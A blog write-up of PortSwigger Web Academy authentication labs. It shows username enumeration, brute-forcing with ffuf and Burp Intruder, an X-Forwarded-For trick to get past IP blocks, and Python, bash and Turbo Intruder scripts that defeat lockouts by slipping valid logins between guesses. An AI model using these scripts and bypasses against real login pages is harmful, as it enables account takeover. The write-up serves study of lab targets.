Home Vulnerable Username-Password Authentication
Post
Cancel

Vulnerable Username-Password Authentication

Intro

This post/writeup is all about the Authentication vulnerabilities or Broken Authentication if we follow OWASP naming scheme.

I’ll be using primarily Portswigger Web Academy Labs, but i do intent do throw other labs and writeups here as well.

Theory

For successful authentication (considering we’re not dealing with MFA) we need an username and password. Password usually has to be guessed or brute-forced however username may sometimes be enumerated as well. This may be possible while observing:

  • Status Codes
  • Error Messages (in response)
  • Response Times (if application does SQL check for username and password sequentially)

TOC

Username enumeration via different responses

This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists: Candidate usernames Candidate passwords To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

Enumeration

We can see the webpage’s login:

picture 36

Application throws an error Invalid Username

picture 37

Username Bruteforcing with Burp Intruder

Let’s paste the Candidate usernames into Burp’s Intruder:

picture 38

We’ve found the user, which is user.

Let’s bruteforce the password with ffuf

Password Bruteforcing with ffuf

1
ffuf -w portswigger_passwords:FUZZ_PASS  -u "https://0a3e005e03bf0fbac09413a80059004c.web-security-academy.net/login" -d "username=user&password=FUZZ_PASS" --fs 3098

Mind that --fs 3098 was added to filter out the requests which return invalid password. They all have same response size.

picture 39

Both, username and password have been retrieved. Labb has been solved.

picture 40

Username enumeration via subtly different responses

This lab is subtly vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:

Candidate usernames

Candidate passwords

To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

This lab can be bruteforced with just trying every username or password, however we’re supposed to pay attention to subtly different responses.

Username brute-force using Intruder and Grep - Extract

Let’s add Grep - Export.

picture 41

As soon as we highlight Invalid username or password, parameters will be set automaticaly. Just apply that, set the same username list from portswigger and run the Intruder:

picture 42

One request is slightly different - Username: alerts

Password brute-force using Intruder and Grep - Extract

Let’s do the same with the password. Remember to change the password list! Grep - Extract can stay the same.

We can notice that 11111111 gave us different response and HTTP 302:

picture 43

Lab has been solved

picture 44

Username enumeration via response timing

This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.

Your credentials: wiener:peter

Here we’ve got an account, so we can measure how long does a query need for existing account and for a non-existing.

Measuring response for existing and non-existing accounts with Burp Repeater

picture 45

We have around 10ms difference. Let’s try with the wordlist but watchout:

Error: You have made too many incorrect login attempts. Please try again in 30 minute(s).

We have to take care of the IP-Block, which we can bypass using X-Forwarded-For header. We’d use Pitchfork mode for that, so IP and Username change with every cycle!

picture 46

We can see that with access the difference is even greater, we should however always double-check! ;)

picture 47

Brute-Force password

Assuming the username really is access let’s brute-force password.

Again with using Pitchfork mode and cycling the IPs in X-Forwarded-For

picture 48

So there it is, a sunshine ;).

This is the problem that i’ve had. I’ll just intercept the request and add some random IP when authenticating as access:sunshine

picture 49

Lab has been solved:

picture 50

Broken brute-force protection, IP block

This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim’s password, then log in and access their account page. Your credentials: wiener:peter

Victim’s username: carlos

Candidate passwords

Intro

This would be the second Lab now where we have to bypass the IP block for brute-forcing. Let us get to it. We have a victim carlos and we have working credentials

Trying simple password brute-force

On the 4th try we get a message that we have to wait a minute before trying again.

picture 51

Spoiler Alert: X-Forwarded-For does not help here.

What however works is:

  • 1st request = Brute-force password for carlos
  • 2nd request = Brute-force password for carlos
  • 3rd request = Login with wiener:peter which resets the counter
  • …repeat

My ideas here were create a wordlist for username and password where at every 3rd try is come wiener:peter credentials.

Solution #1 - Brute-force using python requests

In python this is relatively easily scriptable by using 2 for loop cycles.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import sys

requests.urllib3.disable_warnings()

def bruteforce(target, cycles, password_list, username, working_credz):
    for password in password_list:
        if ":" in password:
            credentials_split = password.split(":")
            password = credentials_split[1]
            username = credentials_split[0]
        else:
            username=username
            password=password
        session = requests.Session()
        session.verify = False
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = {"username":username, "password":password} 
        s = requests.post(target, data=data, headers=headers)
        if username not in working_credz:
            print("(+) tried %s:%s; Content-Length: %s" %(username,password,s.headers['Content-length']))
            #print(s.headers)
            #print(r.text)
    return 0

def main():
    if len(sys.argv) != 6:
        print("(!) usage: %s <target> <wordlist> <cycles> <working_credentials> <username>" % sys.argv[0])
        print("(!) eg: %s https://target.tld/login ./passwords 2 'user:pass' username" % sys.argv[0])
        sys.exit(-1)
    
    target = str(sys.argv[1])
    wordlist = str(sys.argv[2])
    cycles = int(sys.argv[3])
    working_credz = str(sys.argv[4])
    username = str(sys.argv[5])
    
    print("(+) Target: %s; Wordlist: %s; Cycles before using working credentials: %s; Working Credentials: '%s'; Bruteforcing user: %s" % (target,wordlist,cycles,working_credz,username))

    with open(wordlist) as f:
        passwords = [line.rstrip() for line in f]
        # List needs to be initialy set and should be reset every 3rd turn, but this will be done in for loop
        password_list=[]
        for password in passwords:
            password_list.append(password)
            if len(password_list) == 2:
                password_list.append(working_credz)
                #print("(+) Batch: %s" %(password_list))
                bruteforce_session = bruteforce(target, cycles, password_list, username, working_credz)
                password_list=[]
            else:
                continue
        print("\n(+) All passwords have been checked!")
if __name__ == "__main__":
    main()

picture 54

Lab has been solved:

picture 53

Solution #2 - Using Burp Intruder with customized username and password lists.

This may be easier and faster as we only need to modify scripts in a ways that wiener:peter appear after 2nd brute-force attempt. Something like

  • carlos:123456
  • carlos:123457
  • wiener:peter
  • carlos:234567
  • carlos:234568
  • wiener:peter
  • etc.

This can be also done using python or bash, by reading file line by line and injecting on 3rd iteration. Mind that in the IF statement, we either output carlos or the actual entry in the username/password table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/bin/bash
# there are no built in checks. Run as following:
# ./custom_wordlist_inject.sh ./portswigger_usernames wiener 3
# ./custom_wordlist_inject.sh <wordlist> <either pass or username that we want to inject> <declare on how many cycles injected string should appear>
bruteforce_list=$1
injection_on=$2
declare -i cycles=$3
declare -i i=0

while read -r line
do 
    i=$i+1
    if (($i<$cycles))
    then
        #for usernames only carlos should show as this is the user that is being brute-forced!. Reading the wordlist isn't really necessary for usernames but i'll let it be. Either commend out this line:
        echo $line
        # or this line
        #echo "carlos"
    else
        echo $injection_on
        i=0
    fi
done < $bruteforce_list

Result: picture 57

We can see that on every 3rd iteration, login should theoreticaly succed. Script above can be piped into file to save it on disk!.

We can throw both lists to Burp Intruder now and use Pitchfork mode.

picture 59

Modify the Resource pool to 1 or we’ll get blocked

picture 58

… and bruteforce

picture 60

We’ve got the password = mom. (yes password changes everytime the lab restarts ;)).

Solution #3 - Brute-force using Burp Turbo Intruder

Simple Burp’s Intruder does not have any scripting possiblilties, but Burp’s Turbo Intruder does. After installing and enabling it, we just need to select our POST request and choose Turbo Intruder through right mouse click and going into Extensions.

This is how i’ve set it up:

picture 62

Script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=1,
                           pipeline=False
                           )
    i = 0
    for word in open('/Users/lukaosojnik/Downloads/pw'):
        i = i + 1
        if i < 2:
            # do one free run
            engine.queue(target.req, ["carlos", word.rstrip()])
        elif i == 2:
            # do one extra run and reset with valid credentials
            engine.queue(target.req, ["carlos", word.rstrip()])
            engine.queue(target.req, ["wiener", "peter"])
            i = 0
        else:
            break

def handleResponse(req, interesting):
    if interesting:
        table.add(req)

picture 61

It would also be possible to use @MatchStatus(302), which would only display responses with status code 302.

Reference: https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack

Username enumeration via account lock

This lab was done by ffuf. I used head -n 10 command on the password list to make a list with 10 passwords. This list was looped through all usernames.

picture 63

User adam stood out, so it was brute-forced again using whole password list.

1
ffuf -w portswigger_passwords:FUZZ_PW -H "Content-Type: application/x-www-form-urlencoded" -u "https://0a58009d041cd3f7c0ae1c7f007000a9.web-security-academy.net/login" -d "username=adam&password=FUZZ_PW" --fs 3049 --fs 3101 -x http://127.0.0.1:8080

Obviously there is a difference if password maches. Below the comparisson using Burp Comparer:

picture 65

Most probable password dragon has been found and Lab has been solved

picture 64

Broken brute-force protection, multiple credentials per request

This lab is vulnerable due to a logic flaw in its brute-force protection. To solve the lab, brute-force Carlos’s password, then access his account page Victim’s username: carlos Candidate passwords

If web applications login mechanismus is broken and lets you authenticate using multiple passwords as one then that’s definately a security issue. This is exactle what the application in the lab is doing. Let’s check it out.

picture 66

When testing login, we can notice that now we’re dealing with JSON. Let’s try to include multiple passwords in the same Repeater request.

picture 67

Apparently we’ve succeded but we don’t know what the password is, but if we open the session in browser we see that we’ve succesfully finished the lab and that we’re login.

picture 68

This post is licensed under CC BY 4.0 by the author.